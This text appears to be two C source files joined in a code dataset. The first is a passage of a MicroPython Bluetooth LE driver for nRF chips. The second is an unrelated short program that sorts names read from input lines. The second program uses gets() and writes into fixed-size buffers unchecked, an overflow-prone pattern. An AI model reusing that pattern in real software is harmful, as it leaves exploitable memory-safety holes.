0; #endif char_md.p_char_user_desc = NULL; char_md.p_char_pf = NULL; char_md.p_user_desc_md = NULL; char_md.p_sccd_md = NULL; // if cccd if (p_char_obj->attrs & UBLUEPY_ATTR_CCCD) { memset(&cccd_md, 0, sizeof(cccd_md)); BLE_GAP_CONN_SEC_MODE_SET_OPEN(&cccd_md.read_perm); BLE_GAP_CONN_SEC_MODE_SET_OPEN(&cccd_md.write_perm); cccd_md.vloc = BLE_GATTS_VLOC_STACK; char_md.p_cccd_md = &cccd_md; } else { char_md.p_cccd_md = NULL; } uuid.type = p_char_obj->p_uuid->type; uuid.uuid = p_char_obj->p_uuid->value[0]; uuid.uuid += p_char_obj->p_uuid->value[1] << 8; memset(&attr_md, 0, sizeof(attr_md)); BLE_GAP_CONN_SEC_MODE_SET_OPEN(&attr_md.read_perm); BLE_GAP_CONN_SEC_MODE_SET_OPEN(&attr_md.write_perm); attr_md.vloc = BLE_GATTS_VLOC_STACK; attr_md.rd_auth = 0; attr_md.wr_auth = 0; attr_md.vlen = 1; memset(&attr_char_value, 0, sizeof(attr_char_value)); attr_char_value.p_uuid = &uuid; attr_char_value.p_attr_md = &attr_md; attr_char_value.init_len = sizeof(uint8_t); attr_char_value.init_offs = 0; attr_char_value.max_len = (GATT_MTU_SIZE_DEFAULT - 3); ble_gatts_char_handles_t handles; if (sd_ble_gatts_characteristic_add(p_char_obj->service_handle, &char_md, &attr_char_value, &handles) != 0) { mp_raise_msg(&mp_type_OSError, MP_ERROR_TEXT("can't add Characteristic")); } // apply handles to object instance p_char_obj->handle = handles.value_handle; p_char_obj->user_desc_handle = handles.user_desc_handle; p_char_obj->cccd_handle = handles.cccd_handle; p_char_obj->sccd_handle = handles.sccd_handle; return true; } bool ble_drv_advertise_data(ubluepy_advertise_data_t * p_adv_params) { SD_TEST_OR_ENABLE(); uint8_t byte_pos = 0; static uint8_t adv_data[BLE_GAP_ADV_MAX_SIZE]; if (p_adv_params->device_name_len > 0) { ble_gap_conn_sec_mode_t sec_mode; BLE_GAP_CONN_SEC_MODE_SET_OPEN(&sec_mode); if (sd_ble_gap_device_name_set(&sec_mode, p_adv_params->p_device_name, p_adv_params->device_name_len) != 0) { mp_raise_msg(&mp_type_OSError, MP_ERROR_TEXT("can't apply device name in the stack")); } BLE_DRIVER_LOG("Device name applied\n"); adv_data[byte_pos] = (BLE_ADV_AD_TYPE_FIELD_SIZE + p_adv_params->device_name_len); byte_pos += BLE_ADV_LENGTH_FIELD_SIZE; adv_data[byte_pos] = BLE_GAP_AD_TYPE_COMPLETE_LOCAL_NAME; byte_pos += BLE_ADV_AD_TYPE_FIELD_SIZE; memcpy(&adv_data[byte_pos], p_adv_params->p_device_name, p_adv_params->device_name_len); // increment position counter to see if it fits, and in case more content should // follow in this adv packet. byte_pos += p_adv_params->device_name_len; } // Add FLAGS only if manually controlled data has not been used. if (p_adv_params->data_len == 0) { // set flags, default to disc mode adv_data[byte_pos] = (BLE_ADV_AD_TYPE_FIELD_SIZE + BLE_AD_TYPE_FLAGS_DATA_SIZE); byte_pos += BLE_ADV_LENGTH_FIELD_SIZE; adv_data[byte_pos] = BLE_GAP_AD_TYPE_FLAGS; byte_pos += BLE_AD_TYPE_FLAGS_DATA_SIZE; adv_data[byte_pos] = BLE_GAP_ADV_FLAGS_LE_ONLY_GENERAL_DISC_MODE; byte_pos += 1; } if (p_adv_params->num_of_services > 0) { bool type_16bit_present = false; bool type_128bit_present = false; for (uint8_t i = 0; i < p_adv_params->num_of_services; i++) { ubluepy_service_obj_t * p_service = (ubluepy_service_obj_t *)p_adv_params->p_services[i]; if (p_service->p_uuid->type == UBLUEPY_UUID_16_BIT) { type_16bit_present = true; } if (p_service->p_uuid->type == UBLUEPY_UUID_128_BIT) { type_128bit_present = true; } } if (type_16bit_present) { uint8_t size_byte_pos = byte_pos; // skip length byte for now, apply total length post calculation byte_pos += BLE_ADV_LENGTH_FIELD_SIZE; adv_data[byte_pos] = BLE_GAP_AD_TYPE_16BIT_SERVICE_UUID_COMPLETE; byte_pos += BLE_ADV_AD_TYPE_FIELD_SIZE; uint8_t uuid_total_size = 0; uint8_t encoded_size = 0; for (uint8_t i = 0; i < p_adv_params->num_of_services; i++) { ubluepy_service_obj_t * p_service = (ubluepy_service_obj_t *)p_adv_params->p_services[i]; ble_uuid_t uuid; uuid.type = p_service->p_uuid->type; uuid.uuid = p_service->p_uuid->value[0]; uuid.uuid += p_service->p_uuid->value[1] << 8; // calculate total size of uuids if (sd_ble_uuid_encode(&uuid, &encoded_size, NULL) != 0) { mp_raise_msg(&mp_type_OSError, MP_ERROR_TEXT("can't encode UUID, to check length")); } // do encoding into the adv buffer if (sd_ble_uuid_encode(&uuid, &encoded_size, &adv_data[byte_pos]) != 0) { mp_raise_msg(&mp_type_OSError, MP_ERROR_TEXT("can't encode UUID into advertisment packet")); } BLE_DRIVER_LOG("encoded uuid for service %u: ", 0); for (uint8_t j = 0; j < encoded_size; j++) { BLE_DRIVER_LOG(HEX2_FMT " ", adv_data[byte_pos + j]); } BLE_DRIVER_LOG("\n"); uuid_total_size += encoded_size; // size of entry byte_pos += encoded_size; // relative to adv data packet BLE_DRIVER_LOG("ADV: uuid size: %u, type: %u, uuid: %x%x, vs_idx: %u\n", encoded_size, p_service->p_uuid->type, p_service->p_uuid->value[1], p_service->p_uuid->value[0], p_service->p_uuid->uuid_vs_idx); } adv_data[size_byte_pos] = (BLE_ADV_AD_TYPE_FIELD_SIZE + uuid_total_size); } if (type_128bit_present) { uint8_t size_byte_pos = byte_pos; // skip length byte for now, apply total length post calculation byte_pos += BLE_ADV_LENGTH_FIELD_SIZE; adv_data[byte_pos] = BLE_GAP_AD_TYPE_128BIT_SERVICE_UUID_COMPLETE; byte_pos += BLE_ADV_AD_TYPE_FIELD_SIZE; uint8_t uuid_total_size = 0; uint8_t encoded_size = 0; for (uint8_t i = 0; i < p_adv_params->num_of_services; i++) { ubluepy_service_obj_t * p_service = (ubluepy_service_obj_t *)p_adv_params->p_services[i]; ble_uuid_t uuid; uuid.type = p_service->p_uuid->uuid_vs_idx; uuid.uuid = p_service->p_uuid->value[0]; uuid.uuid += p_service->p_uuid->value[1] << 8; // calculate total size of uuids if (sd_ble_uuid_encode(&uuid, &encoded_size, NULL) != 0) { mp_raise_msg(&mp_type_OSError, MP_ERROR_TEXT("can't encode UUID, to check length")); } // do encoding into the adv buffer if (sd_ble_uuid_encode(&uuid, &encoded_size, &adv_data[byte_pos]) != 0) { mp_raise_msg(&mp_type_OSError, MP_ERROR_TEXT("can't encode UUID into advertisment packet")); } BLE_DRIVER_LOG("encoded uuid for service %u: ", 0); for (uint8_t j = 0; j < encoded_size; j++) { BLE_DRIVER_LOG(HEX2_FMT " ", adv_data[byte_pos + j]); } BLE_DRIVER_LOG("\n"); uuid_total_size += encoded_size; // size of entry byte_pos += encoded_size; // relative to adv data packet BLE_DRIVER_LOG("ADV: uuid size: %u, type: %x%x, uuid: %u, vs_idx: %u\n", encoded_size, p_service->p_uuid->type, p_service->p_uuid->value[1], p_service->p_uuid->value[0], p_service->p_uuid->uuid_vs_idx); } adv_data[size_byte_pos] = (BLE_ADV_AD_TYPE_FIELD_SIZE + uuid_total_size); } } if ((p_adv_params->data_len > 0) && (p_adv_params->p_data != NULL)) { if (p_adv_params->data_len + byte_pos > BLE_GAP_ADV_MAX_SIZE) { mp_raise_msg(&mp_type_OSError, MP_ERROR_TEXT("can't fit data into advertisment packet")); } memcpy(adv_data, p_adv_params->p_data, p_adv_params->data_len); byte_pos += p_adv_params->data_len; } // scan response data not set uint32_t err_code; #if (BLUETOOTH_SD == 132) || (BLUETOOTH_SD == 140) const ble_gap_adv_data_t m_adv_data = { .adv_data.p_data = adv_data, .adv_data.len = byte_pos, .scan_rsp_data.p_data = NULL, .scan_rsp_data.len = 0 }; #endif static ble_gap_adv_params_t m_adv_params; memset(&m_adv_params, 0, sizeof(m_adv_params)); // initialize advertising params if (p_adv_params->connectable) { #if (BLUETOOTH_SD == 110) m_adv_params.type = BLE_GAP_ADV_TYPE_ADV_IND; #else m_adv_params.properties.type = BLE_GAP_ADV_TYPE_CONNECTABLE_SCANNABLE_UNDIRECTED; #endif } else { #if (BLUETOOTH_SD == 110) m_adv_params.type = BLE_GAP_ADV_TYPE_ADV_NONCONN_IND; #else m_adv_params.properties.type = BLE_GAP_ADV_TYPE_NONCONNECTABLE_SCANNABLE_UNDIRECTED; #endif } #if (BLUETOOTH_SD == 110) m_adv_params.fp = BLE_GAP_ADV_FP_ANY; m_adv_params.timeout = 0; // infinite advertisment #else m_adv_params.properties.anonymous = 0; m_adv_params.properties.include_tx_power = 0; m_adv_params.filter_policy = 0; m_adv_params.max_adv_evts = 0; // infinite advertisment m_adv_params.primary_phy = BLE_GAP_PHY_AUTO; m_adv_params.secondary_phy = BLE_GAP_PHY_AUTO; m_adv_params.scan_req_notification = 0; // Do not raise scan request notifications when scanned. #endif m_adv_params.p_peer_addr = NULL; // undirected advertisement m_adv_params.interval = MSEC_TO_UNITS(100, UNIT_0_625_MS); // approx 8 ms #if (BLUETOOTH_SD == 110) if ((err_code = sd_ble_gap_adv_data_set(adv_data, byte_pos, NULL, 0)) != 0) { mp_raise_msg_varg(&mp_type_OSError, MP_ERROR_TEXT("Can not apply advertisment data. status: 0x" HEX2_FMT), (uint16_t)err_code); } #else if ((err_code = sd_ble_gap_adv_set_configure(&m_adv_handle, &m_adv_data, &m_adv_params)) != 0) { mp_raise_msg_varg(&mp_type_OSError, MP_ERROR_TEXT("Can not apply advertisment data. status: 0x" HEX2_FMT), (uint16_t)err_code); } #endif BLE_DRIVER_LOG("Set Adv data size: " UINT_FMT "\n", byte_pos); ble_drv_advertise_stop(); #if (BLUETOOTH_SD == 110) err_code = sd_ble_gap_adv_start(&m_adv_params); #else uint8_t conf_tag = BLE_DRV_CONN_CONFIG_TAG; // Could also be set to tag from sd_ble_cfg_set err_code = sd_ble_gap_adv_start(m_adv_handle, conf_tag); #endif if (err_code != 0) { mp_raise_msg_varg(&mp_type_OSError, MP_ERROR_TEXT("Can not start advertisment. status: 0x" HEX2_FMT), (uint16_t)err_code); } m_adv_in_progress = true; return true; } void ble_drv_advertise_stop(void) { if (m_adv_in_progress == true) { uint32_t err_code; #if (BLUETOOTH_SD == 110) if ((err_code = sd_ble_gap_adv_stop()) != 0) { mp_raise_msg_varg(&mp_type_OSError, MP_ERROR_TEXT("Can not stop advertisment. status: 0x" HEX2_FMT), (uint16_t)err_code); } #else if ((err_code = sd_ble_gap_adv_stop(m_adv_handle)) != 0) { mp_raise_msg_varg(&mp_type_OSError, MP_ERROR_TEXT("Can not stop advertisment. status: 0x" HEX2_FMT), (uint16_t)err_code); } #endif } m_adv_in_progress = false; } void ble_drv_attr_s_read(uint16_t conn_handle, uint16_t handle, uint16_t len, uint8_t * p_data) { ble_gatts_value_t gatts_value; memset(&gatts_value, 0, sizeof(gatts_value)); gatts_value.len = len; gatts_value.offset = 0; gatts_value.p_value = p_data; uint32_t err_code = sd_ble_gatts_value_get(conn_handle, handle, &gatts_value); if (err_code != 0) { mp_raise_msg_varg(&mp_type_OSError, MP_ERROR_TEXT("Can not read attribute value. status: 0x" HEX2_FMT), (uint16_t)err_code); } } void ble_drv_attr_s_write(uint16_t conn_handle, uint16_t handle, uint16_t len, uint8_t * p_data) { ble_gatts_value_t gatts_value; memset(&gatts_value, 0, sizeof(gatts_value)); gatts_value.len = len; gatts_value.offset = 0; gatts_value.p_value = p_data; uint32_t err_code = sd_ble_gatts_value_set(conn_handle, handle, &gatts_value); if (err_code != 0) { mp_raise_msg_varg(&mp_type_OSError, MP_ERROR_TEXT("Can not write attribute value. status: 0x" HEX2_FMT), (uint16_t)err_code); } } void ble_drv_attr_s_notify(uint16_t conn_handle, uint16_t handle, uint16_t len, uint8_t * p_data) { uint16_t hvx_len = len; ble_gatts_hvx_params_t hvx_params; memset(&hvx_params, 0, sizeof(hvx_params)); hvx_params.handle = handle; hvx_params.type = BLE_GATT_HVX_NOTIFICATION; hvx_params.offset = 0; hvx_params.p_len = &hvx_len; hvx_params.p_data = p_data; while (m_tx_in_progress > MAX_TX_IN_PROGRESS) { ; } BLE_DRIVER_LOG("Request TX, m_tx_in_progress: %u\n", m_tx_in_progress); uint32_t err_code; if ((err_code = sd_ble_gatts_hvx(conn_handle, &hvx_params)) != 0) { mp_raise_msg_varg(&mp_type_OSError, MP_ERROR_TEXT("Can not notify attribute value. status: 0x" HEX2_FMT), (uint16_t)err_code); } m_tx_in_progress++; BLE_DRIVER_LOG("Queued TX, m_tx_in_progress: %u\n", m_tx_in_progress); } void ble_drv_gap_event_handler_set(mp_obj_t obj, ble_drv_gap_evt_callback_t evt_handler) { mp_gap_observer = obj; gap_event_handler = evt_handler; } void ble_drv_gatts_event_handler_set(mp_obj_t obj, ble_drv_gatts_evt_callback_t evt_handler) { mp_gatts_observer = obj; gatts_event_handler = evt_handler; } #if (BLUETOOTH_SD == 132) || (BLUETOOTH_SD == 140) void ble_drv_gattc_event_handler_set(mp_obj_t obj, ble_drv_gattc_evt_callback_t evt_handler) { mp_gattc_observer = obj; gattc_event_handler = evt_handler; } void ble_drv_adv_report_handler_set(mp_obj_t obj, ble_drv_adv_evt_callback_t evt_handler) { mp_adv_observer = obj; adv_event_handler = evt_handler; } void ble_drv_attr_c_read(uint16_t conn_handle, uint16_t handle, mp_obj_t obj, ble_drv_gattc_char_data_callback_t cb) { mp_gattc_char_data_observer = obj; gattc_char_data_handle = cb; uint32_t err_code = sd_ble_gattc_read(conn_handle, handle, 0); if (err_code != 0) { mp_raise_msg_varg(&mp_type_OSError, MP_ERROR_TEXT("Can not read attribute value. status: 0x" HEX2_FMT), (uint16_t)err_code); } while (gattc_char_data_handle != NULL) { ; } } void ble_drv_attr_c_write(uint16_t conn_handle, uint16_t handle, uint16_t len, uint8_t * p_data, bool w_response) { ble_gattc_write_params_t write_params; if (w_response) { write_params.write_op = BLE_GATT_OP_WRITE_REQ; } else { write_params.write_op = BLE_GATT_OP_WRITE_CMD; } write_params.flags = BLE_GATT_EXEC_WRITE_FLAG_PREPARED_CANCEL; write_params.handle = handle; write_params.offset = 0; write_params.len = len; write_params.p_value = p_data; m_write_done = !w_response; uint32_t err_code = sd_ble_gattc_write(conn_handle, &write_params); if (err_code != 0) { mp_raise_msg_varg(&mp_type_OSError, MP_ERROR_TEXT("Can not write attribute value. status: 0x" HEX2_FMT), (uint16_t)err_code); } while (m_write_done != true) { ; } } void ble_drv_scan_start(bool cont) { SD_TEST_OR_ENABLE(); ble_gap_scan_params_t scan_params; memset(&scan_params, 0, sizeof(ble_gap_scan_params_t)); scan_params.extended = 0; scan_params.active = 1; scan_params.interval = MSEC_TO_UNITS(100, UNIT_0_625_MS); scan_params.window = MSEC_TO_UNITS(100, UNIT_0_625_MS); scan_params.timeout = 0; // Infinite ble_data_t scan_buffer = { .p_data = m_scan_buffer, .len = BLE_GAP_SCAN_BUFFER_MIN }; uint32_t err_code; ble_gap_scan_params_t * p_scan_params = &scan_params; if (cont) { p_scan_params = NULL; } if ((err_code = sd_ble_gap_scan_start(p_scan_params, &scan_buffer)) != 0) { mp_raise_msg_varg(&mp_type_OSError, MP_ERROR_TEXT("Can not start scanning. status: 0x" HEX2_FMT), (uint16_t)err_code); } } void ble_drv_scan_stop(void) { sd_ble_gap_scan_stop(); } void ble_drv_connect(uint8_t * p_addr, uint8_t addr_type) { SD_TEST_OR_ENABLE(); ble_gap_scan_params_t scan_params; memset(&scan_params, 0, sizeof(ble_gap_scan_params_t)); scan_params.extended = 0; scan_params.active = 1; scan_params.interval = MSEC_TO_UNITS(100, UNIT_0_625_MS); scan_params.window = MSEC_TO_UNITS(100, UNIT_0_625_MS); scan_params.timeout = 0; // infinite ble_gap_addr_t addr; memset(&addr, 0, sizeof(addr)); addr.addr_type = addr_type; memcpy(addr.addr, p_addr, 6); BLE_DRIVER_LOG("GAP CONNECTING: "HEX2_FMT":"HEX2_FMT":"HEX2_FMT":"HEX2_FMT":"HEX2_FMT":"HEX2_FMT", type: %d\n", addr.addr[0], addr.addr[1], addr.addr[2], addr.addr[3], addr.addr[4], addr.addr[5], addr.addr_type); ble_gap_conn_params_t conn_params; // set connection parameters memset(&conn_params, 0, sizeof(conn_params)); conn_params.min_conn_interval = BLE_MIN_CONN_INTERVAL; conn_params.max_conn_interval = BLE_MAX_CONN_INTERVAL; conn_params.slave_latency = BLE_SLAVE_LATENCY; conn_params.conn_sup_timeout = BLE_CONN_SUP_TIMEOUT; uint8_t conn_tag = BLE_DRV_CONN_CONFIG_TAG; uint32_t err_code; if ((err_code = sd_ble_gap_connect(&addr, &scan_params, &conn_params, conn_tag)) != 0) { mp_raise_msg_varg(&mp_type_OSError, MP_ERROR_TEXT("Can not connect. status: 0x" HEX2_FMT), (uint16_t)err_code); } } bool ble_drv_discover_services(mp_obj_t obj, uint16_t conn_handle, uint16_t start_handle, ble_drv_disc_add_service_callback_t cb) { BLE_DRIVER_LOG("Discover primary services. Conn handle: 0x" HEX2_FMT "\n", conn_handle); mp_gattc_disc_service_observer = obj; disc_add_service_handler = cb; m_primary_service_found = false; uint32_t err_code; err_code = sd_ble_gattc_primary_services_discover(conn_handle, start_handle, NULL); if (err_code != 0) { return false; } // busy loop until last service has been iterated while (disc_add_service_handler != NULL) { ; } if (m_primary_service_found) { return true; } else { return false; } } bool ble_drv_discover_characteristic(mp_obj_t obj, uint16_t conn_handle, uint16_t start_handle, uint16_t end_handle, ble_drv_disc_add_char_callback_t cb) { BLE_DRIVER_LOG("Discover characteristicts. Conn handle: 0x" HEX2_FMT "\n", conn_handle); mp_gattc_disc_char_observer = obj; disc_add_char_handler = cb; ble_gattc_handle_range_t handle_range; handle_range.start_handle = start_handle; handle_range.end_handle = end_handle; m_characteristic_found = false; uint32_t err_code; err_code = sd_ble_gattc_characteristics_discover(conn_handle, &handle_range); if (err_code != 0) { return false; } // busy loop until last service has been iterated while (disc_add_char_handler != NULL) { ; } if (m_characteristic_found) { return true; } else { return false; } } void ble_drv_discover_descriptors(void) { } #endif // (BLUETOOTH_SD == 132) || (BLUETOOTH_SD == 140) static void sd_evt_handler(uint32_t evt_id) { switch (evt_id) { #if MICROPY_HW_ENABLE_INTERNAL_FLASH_STORAGE || MICROPY_MBFS case NRF_EVT_FLASH_OPERATION_SUCCESS: flash_operation_finished(FLASH_STATE_SUCCESS); break; case NRF_EVT_FLASH_OPERATION_ERROR: flash_operation_finished(FLASH_STATE_ERROR); break; #endif default: // unhandled event! break; } #if MICROPY_HW_USB_CDC // Farward SOC events to USB CDC driver. usb_cdc_sd_event_handler(evt_id); #endif } static void ble_evt_handler(ble_evt_t * p_ble_evt) { // S132 event ranges. // Common 0x01 -> 0x0F // GAP 0x10 -> 0x2F // GATTC 0x30 -> 0x4F // GATTS 0x50 -> 0x6F // L2CAP 0x70 -> 0x8F switch (p_ble_evt->header.evt_id) { case BLE_GAP_EVT_CONNECTED: BLE_DRIVER_LOG("GAP CONNECT\n"); m_adv_in_progress = false; gap_event_handler(mp_gap_observer, p_ble_evt->header.evt_id, p_ble_evt->evt.gap_evt.conn_handle, p_ble_evt->header.evt_len - (2 * sizeof(uint16_t)), NULL); ble_gap_conn_params_t conn_params; (void)sd_ble_gap_ppcp_get(&conn_params); (void)sd_ble_gap_conn_param_update(p_ble_evt->evt.gap_evt.conn_handle, &conn_params); break; case BLE_GAP_EVT_DISCONNECTED: BLE_DRIVER_LOG("GAP DISCONNECT\n"); gap_event_handler(mp_gap_observer, p_ble_evt->header.evt_id, p_ble_evt->evt.gap_evt.conn_handle, p_ble_evt->header.evt_len - (2 * sizeof(uint16_t)), NULL); break; case BLE_GATTS_EVT_HVC: gatts_event_handler(mp_gatts_observer, p_ble_evt->header.evt_id, p_ble_evt->evt.gatts_evt.params.hvc.handle, p_ble_evt->header.evt_len - (2 * sizeof(uint16_t)), NULL); break; case BLE_GATTS_EVT_WRITE: BLE_DRIVER_LOG("GATTS write\n"); uint16_t handle = p_ble_evt->evt.gatts_evt.params.write.handle; uint16_t data_len = p_ble_evt->evt.gatts_evt.params.write.len; uint8_t * p_data = &p_ble_evt->evt.gatts_evt.params.write.data[0]; gatts_event_handler(mp_gatts_observer, p_ble_evt->header.evt_id, handle, data_len, p_data); break; case BLE_GAP_EVT_CONN_PARAM_UPDATE: BLE_DRIVER_LOG("GAP CONN PARAM UPDATE\n"); break; case BLE_GATTS_EVT_SYS_ATTR_MISSING: // No system attributes have been stored. (void)sd_ble_gatts_sys_attr_set(p_ble_evt->evt.gatts_evt.conn_handle, NULL, 0, 0); break; #if (BLUETOOTH_SD == 132) || (BLUETOOTH_SD == 140) case BLE_GATTS_EVT_HVN_TX_COMPLETE: #else case BLE_EVT_TX_COMPLETE: #endif BLE_DRIVER_LOG("BLE EVT TX COMPLETE\n"); #if (BLUETOOTH_SD == 132) || (BLUETOOTH_SD == 140) BLE_DRIVER_LOG("HVN_TX_COMPLETE, count: %u\n", p_ble_evt->evt.gatts_evt.params.hvn_tx_complete.count); m_tx_in_progress -= p_ble_evt->evt.gatts_evt.params.hvn_tx_complete.count; BLE_DRIVER_LOG("TX_COMPLETE, m_tx_in_progress: %u\n", m_tx_in_progress); #else BLE_DRIVER_LOG("TX_COMPLETE, count: %u\n", p_ble_evt->evt.common_evt.params.tx_complete.count); m_tx_in_progress -= p_ble_evt->evt.common_evt.params.tx_complete.count; BLE_DRIVER_LOG("TX_COMPLETE, m_tx_in_progress: %u\n", m_tx_in_progress); #endif break; case BLE_GAP_EVT_SEC_PARAMS_REQUEST: BLE_DRIVER_LOG("BLE EVT SEC PARAMS REQUEST\n"); // pairing not supported (void)sd_ble_gap_sec_params_reply(p_ble_evt->evt.gatts_evt.conn_handle, BLE_GAP_SEC_STATUS_PAIRING_NOT_SUPP, NULL, NULL); break; #if (BLUETOOTH_SD == 132) || (BLUETOOTH_SD == 140) case BLE_GAP_EVT_ADV_REPORT: BLE_DRIVER_LOG("BLE EVT ADV REPORT\n"); ble_drv_adv_data_t adv_data = { .p_peer_addr = p_ble_evt->evt.gap_evt.params.adv_report.peer_addr.addr, .addr_type = p_ble_evt->evt.gap_evt.params.adv_report.peer_addr.addr_type, .is_scan_resp = p_ble_evt->evt.gap_evt.params.adv_report.type.scan_response, .rssi = p_ble_evt->evt.gap_evt.params.adv_report.rssi, .data_len = p_ble_evt->evt.gap_evt.params.adv_report.data.len, .p_data = p_ble_evt->evt.gap_evt.params.adv_report.data.p_data, // .adv_type = }; // TODO: Fix unsafe callback to possible undefined callback... adv_event_handler(mp_adv_observer, p_ble_evt->header.evt_id, &adv_data); break; case BLE_GAP_EVT_CONN_PARAM_UPDATE_REQUEST: BLE_DRIVER_LOG("BLE EVT CONN PARAM UPDATE REQUEST\n"); (void)sd_ble_gap_conn_param_update(p_ble_evt->evt.gap_evt.conn_handle, &p_ble_evt->evt.gap_evt.params.conn_param_update_request.conn_params); break; case BLE_GATTC_EVT_PRIM_SRVC_DISC_RSP: BLE_DRIVER_LOG("BLE EVT PRIMARY SERVICE DISCOVERY RESPONSE\n"); BLE_DRIVER_LOG(">>> service count: %d\n", p_ble_evt->evt.gattc_evt.params.prim_srvc_disc_rsp.count); for (uint16_t i = 0; i < p_ble_evt->evt.gattc_evt.params.prim_srvc_disc_rsp.count; i++) { ble_gattc_service_t * p_service = &p_ble_evt->evt.gattc_evt.params.prim_srvc_disc_rsp.services[i]; ble_drv_service_data_t service; service.uuid_type = p_service->uuid.type; service.uuid = p_service->uuid.uuid; service.start_handle = p_service->handle_range.start_handle; service.end_handle = p_service->handle_range.end_handle; disc_add_service_handler(mp_gattc_disc_service_observer, &service); } if (p_ble_evt->evt.gattc_evt.params.prim_srvc_disc_rsp.count > 0) { m_primary_service_found = true; } // mark end of service discovery disc_add_service_handler = NULL; break; case BLE_GATTC_EVT_CHAR_DISC_RSP: BLE_DRIVER_LOG("BLE EVT CHAR DISCOVERY RESPONSE\n"); BLE_DRIVER_LOG(">>> characteristic count: %d\n", p_ble_evt->evt.gattc_evt.params.char_disc_rsp.count); for (uint16_t i = 0; i < p_ble_evt->evt.gattc_evt.params.char_disc_rsp.count; i++) { ble_gattc_char_t * p_char = &p_ble_evt->evt.gattc_evt.params.char_disc_rsp.chars[i]; ble_drv_char_data_t char_data; char_data.uuid_type = p_char->uuid.type; char_data.uuid = p_char->uuid.uuid; char_data.decl_handle = p_char->handle_decl; char_data.value_handle = p_char->handle_value; char_data.props = (p_char->char_props.broadcast) ? UBLUEPY_PROP_BROADCAST : 0; char_data.props |= (p_char->char_props.read) ? UBLUEPY_PROP_READ : 0; char_data.props |= (p_char->char_props.write_wo_resp) ? UBLUEPY_PROP_WRITE_WO_RESP : 0; char_data.props |= (p_char->char_props.write) ? UBLUEPY_PROP_WRITE : 0; char_data.props |= (p_char->char_props.notify) ? UBLUEPY_PROP_NOTIFY : 0; char_data.props |= (p_char->char_props.indicate) ? UBLUEPY_PROP_INDICATE : 0; #if 0 char_data.props |= (p_char->char_props.auth_signed_wr) ? UBLUEPY_PROP_NOTIFY : 0; #endif disc_add_char_handler(mp_gattc_disc_char_observer, &char_data); } if (p_ble_evt->evt.gattc_evt.params.char_disc_rsp.count > 0) { m_characteristic_found = true; } // mark end of characteristic discovery disc_add_char_handler = NULL; break; case BLE_GATTC_EVT_READ_RSP: BLE_DRIVER_LOG("BLE EVT READ RESPONSE, offset: 0x"HEX2_FMT", length: 0x"HEX2_FMT"\n", p_ble_evt->evt.gattc_evt.params.read_rsp.offset, p_ble_evt->evt.gattc_evt.params.read_rsp.len); gattc_char_data_handle(mp_gattc_char_data_observer, p_ble_evt->evt.gattc_evt.params.read_rsp.len, p_ble_evt->evt.gattc_evt.params.read_rsp.data); // mark end of read gattc_char_data_handle = NULL; break; case BLE_GATTC_EVT_WRITE_RSP: BLE_DRIVER_LOG("BLE EVT WRITE RESPONSE\n"); m_write_done = true; break; case BLE_GATTC_EVT_HVX: BLE_DRIVER_LOG("BLE EVT HVX RESPONSE\n"); break; case BLE_GATTS_EVT_EXCHANGE_MTU_REQUEST: BLE_DRIVER_LOG("GATTS EVT EXCHANGE MTU REQUEST\n"); (void)sd_ble_gatts_exchange_mtu_reply(p_ble_evt->evt.gatts_evt.conn_handle, 23); // MAX MTU size break; case BLE_GAP_EVT_DATA_LENGTH_UPDATE_REQUEST: BLE_DRIVER_LOG("BLE GAP EVT DATA LENGTH UPDATE REQUEST\n"); sd_ble_gap_data_length_update(p_ble_evt->evt.gap_evt.conn_handle, NULL, NULL); break; case BLE_GAP_EVT_PHY_UPDATE_REQUEST: BLE_DRIVER_LOG("BLE_GAP_EVT_PHY_UPDATE_REQUEST\n"); ble_gap_phys_t const phys = { BLE_GAP_PHY_AUTO, BLE_GAP_PHY_AUTO, }; sd_ble_gap_phy_update(p_ble_evt->evt.gap_evt.conn_handle, &phys); break; case BLE_GAP_EVT_PHY_UPDATE: BLE_DRIVER_LOG("BLE_GAP_EVT_PHY_UPDATE -- unhandled!\n"); break; case BLE_GAP_EVT_DATA_LENGTH_UPDATE: BLE_DRIVER_LOG("BLE_GAP_EVT_DATA_LENGTH_UPDATE -- unhandled!\n"); break; #endif // (BLUETOOTH_SD == 132) || (BLUETOOTH_SD == 140) default: BLE_DRIVER_LOG(">>> unhandled evt: 0x" HEX2_FMT "\n", p_ble_evt->header.evt_id); break; } } static uint8_t m_ble_evt_buf[sizeof(ble_evt_t) + (GATT_MTU_SIZE_DEFAULT)] __attribute__ ((aligned (4))); #ifdef NRF51 void SWI2_IRQHandler(void) { #else void SWI2_EGU2_IRQHandler(void) { #endif uint32_t evt_id; while (sd_evt_get(&evt_id) != NRF_ERROR_NOT_FOUND) { sd_evt_handler(evt_id); } while (1) { uint16_t evt_len = sizeof(m_ble_evt_buf); uint32_t err_code = sd_ble_evt_get(m_ble_evt_buf, &evt_len); if (err_code != NRF_SUCCESS) { // Possible error conditions: // * NRF_ERROR_NOT_FOUND: no events left, break // * NRF_ERROR_DATA_SIZE: retry with a bigger data buffer // (currently not handled, TODO) // * NRF_ERROR_INVALID_ADDR: pointer is not aligned, should // not happen. // In all cases, it's best to simply stop now. if (err_code == NRF_ERROR_DATA_SIZE) { BLE_DRIVER_LOG("NRF_ERROR_DATA_SIZE\n"); } break; } ble_evt_handler((ble_evt_t *)m_ble_evt_buf); } } #endif // BLUETOOTH_SD
the_stack_data/211081879.c
#include <stdio.h> #include <string.h> #include <stdlib.h> int scmp(const void* _a,const void* _b){ char* a = (char*) _a; char* b = (char*) _b; return strcmp(a,b); } int main(){ char names[104][14]; char line[1004]; int have_printed = 0; while(gets(line)){ memset(names,0,sizeof(names)); int number = 0; int ip = 0; for(int i=0; i<strlen(line); i++){ if(line[i] == ' '){ if(ip != 0){ names[number][ip] = '\0'; ip = 0; number++; } continue; } names[number][ip++] = line[i]; } if(ip == 0){ number--; } else{ names[number][ip] = '\0'; } if(number == -1){ continue; } qsort(names,number+1,sizeof(names[0]),scmp); if(have_printed){ printf("\n"); } for(int i=0;i<=number;i++){ if(i == 0){ printf("%s",names[i]); continue; } printf(" %s",names[i]); } have_printed = 1; } return 0; }
the_stack_data/145452079.c
